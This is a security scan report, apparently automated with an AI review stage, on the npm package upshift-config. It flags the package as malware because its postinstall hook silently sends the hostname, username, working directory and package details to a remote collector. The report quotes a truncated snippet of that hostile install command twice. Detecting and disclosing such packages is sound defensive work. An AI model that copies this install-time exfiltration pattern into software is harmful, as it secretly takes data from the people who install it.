## Security analysis

### Published attack-surface review

- **Summary:** npm installation silently transmits host-identifying installation metadata to a remote collector. The request is hidden behind a catch-all error handler.

- **Trigger:** npm postinstall

- **Impact:** Discloses local username, hostname, working directory, package metadata, and installation timing.

- **Evidence paths:** package.json, README.md, lib/core/analytics/sentry-runtime.js, lib/core/analytics/sanitize.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-11T10:16:09.444Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** install-time HTTPS telemetry exfiltration

- **Attack narrative:** On installation, the postinstall inline Node command calls HTTPS GET to an opaque collector URL. It encodes and sends npm package name/version plus the machine hostname, OS username, current working directory, and timestamp, suppressing all errors. This occurs without an explicit user command and is unrelated to normal SDK runtime operations.

- **Rationale:** Direct source inspection confirms unconsented install-time transmission of local host identity data to an opaque endpoint. This is concrete data exfiltration, not merely a noisy static heuristic.

- **Files touched:** package.json

- **Network endpoints:** https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json postinstall executes node -e during npm install., It sends hostname, OS username, cwd, package/version, and timestamp., Destination is build-metrics-collector.cdn-ops-health.workers.dev, unrelated to the declared SDK identity., README identifies the package as @augustdigital/sdk, inconsistent with upshift-config.

- **Evidence against:** No source evidence of file writes, shell spawning, payload download, or AI-agent config mutation., lib/core analytics code is conventional Sentry integration with redaction helpers.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/upshift-config@0.5.14/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v...
```

### 2. Critical: Red Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 95.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/upshift-config@0.5.14/package.json>)

Install-time lifecycle script matches a deterministic static-gate block pattern.

Public source snippet (untrusted):

```json
scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v...
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%
- **Path:** lib/core/analytics/sentry-runtime.js
- **Public source:** [View source](<https://unpkg.com/upshift-config@0.5.14/lib/core/analytics/sentry-runtime.js>)

Package source references a known benign dynamic code generation pattern.

Public source snippet (untrusted):

```javascript
L32: // `require('@sentry/node')`, which breaks the browser bundle.
L33: const req = new Function('return typeof require === "function" ? require : null')();
L34: return typeof req === 'function' ? req : null;
```

### 5. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 6. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 9. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 70.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.
